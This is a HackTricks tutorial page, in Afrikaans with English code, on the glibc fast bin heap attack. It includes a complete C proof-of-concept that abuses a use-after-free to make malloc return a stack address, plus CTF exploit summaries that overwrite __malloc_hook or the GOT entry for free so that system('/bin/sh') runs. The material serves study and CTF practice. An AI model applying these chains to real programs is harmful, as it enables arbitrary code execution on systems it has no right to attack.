Fast Bin Attack

Ondersteun HackTricks

Basiese Inligting

Vir meer inligting oor wat 'n vinnige bin is, kyk na hierdie bladsy:

Bins & Memory Allocations

Omdat die vinnige bin 'n enkelgelinkte lys is, is daar baie minder beskerming as in ander binne en net die wysiging van 'n adres in 'n vrygemaakte vinnige bin-stuk is genoeg om later 'n stuk in enige geheue-adres te allokeer.

Opsomming:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Jy kan 'n volledige voorbeeld vind in 'n baie goed verduidelikte kode van https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Indien dit moontlik is om die waarde van die globale veranderlike global_max_fast met 'n groot getal te oorskryf, maak dit dit moontlik om vinnige bin stukke van groter groottes te genereer, wat moontlik kan wees om vinnige bin aanvalle uit te voer in scenario's waar dit voorheen nie moontlik was nie. Hierdie situasie is nuttig in die konteks van groot bin aanval en ongesorteerde bin aanval.

Voorbeelde

  • Dit is moontlik om stukke toe te ken, hulle vry te stel, hul inhoud te lees en hulle te vul (met 'n oorvloei kwesbaarheid).

  • Konsolideer stuk vir inligtingslek: Die tegniek is basies om die oorvloei te misbruik om 'n vals prev_size te skep sodat een vorige stuk binne 'n groter een geplaas word, sodat wanneer die groter een wat 'n ander stuk bevat, toegeken word, dit moontlik is om sy data af te druk en 'n adres na libc (main_arena+88) te lek.

  • Oorskryf malloc haak: Hiervoor, en deur die vorige oorvleuelende situasie te misbruik, was dit moontlik om 2 stukke te hê wat na dieselfde geheue verwys het. Daarom, deur hulle albei vry te stel (deur nog 'n stuk tussenin vry te stel om beskermings te vermy), was dit moontlik om dieselfde stuk in die vinnige bin 2 keer te hê. Daarna was dit moontlik om dit weer toe te ken, die adres na die volgende stuk oor te skryf om 'n bietjie voor __malloc_hook te wys (sodat dit na 'n heelgetal wys wat malloc dink is 'n vry grootte - nog 'n omweg), dit weer toe te ken en dan 'n ander stuk toe te ken wat 'n adres na malloc haak ontvang. Uiteindelik is 'n eenhulpmiddel daar geskryf.

  • Daar is 'n geheue oorvloei en gebruik na vry en dubbel vry omdat wanneer 'n stuk vrygestel word, dit moontlik is om die aanwysers her te gebruik en weer vry te stel

  • Libc inligtingslek: Vry net 'n paar stukke en hulle sal 'n aanwyser na 'n deel van die hoofarena-plek kry. Aangesien jy vrygestelde aanwysers kan hergebruik, lees net hierdie adres.

  • Vinnige bin aanval: Al die aanwysers na die toekennings word binne 'n reeks gestoor, sodat ons 'n paar vinnige bin stukke kan vry en in die laaste een die adres kan oorskryf om 'n bietjie voor hierdie reeks van aanwysers te wys. Toe, ken 'n paar stukke toe met dieselfde grootte en ons sal eers die regte een kry en dan die vals een wat die reeks van aanwysers bevat. Ons kan nou hierdie toekenningsaanwysers oorskryf om die GOT-adres van free te maak wat na system wys en dan "/bin/sh" in stuk 1 skryf om dan free(chunk1) te roep wat in plaas daarvan system("/bin/sh") sal uitvoer.

  • 'n Ander voorbeeld van die misbruik van 'n een byte oorvloei om stukke in die ongesorteerde bin te konsolideer en 'n libc inligtingslek te kry en dan 'n vinnige bin aanval uit te voer om malloc haak met 'n eenhulpmiddeladres oor te skryf

  • Na 'n inligtingslek wat die ongesorteerde bin met 'n UAF misbruik om 'n libc-adres en 'n PIE-adres te lek, het die uitbuiting van hierdie CTF 'n vinnige bin aanval gebruik om 'n stuk toe te ken op 'n plek waar die aanwysers na beheerde stukke geleë was sodat dit moontlik was om sekere aanwysers oor te skryf om 'n eenhulpmiddel in die GOT te skryf

  • Jy kan 'n Vinnige Bin aanval vind wat misbruik word deur 'n ongesorteerde bin aanval:

  • Let daarop dat dit algemeen is voordat vinnige bin aanvalle uitgevoer word om die vrylys te misbruik om libc/geheue-adresse te lek (indien nodig).

  • Ons kan slegs stukke van groottes groter as 0x100 toeken.

  • Oorskryf global_max_fast deur 'n Ongesorteerde Bin aanval te gebruik (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bietjies moet wysig, maar ons moet 16 bietjies wysig).

  • Vinnige Bin aanval om die globale reeks van stukke te wysig. Dit gee 'n arbitrêre lees/skryf-beginsel, wat dit moontlik maak om die GOT te wysig en sommige funksies te laat wys na system.

Unsorted Bin Attack
Ondersteun HackTricks

Last updated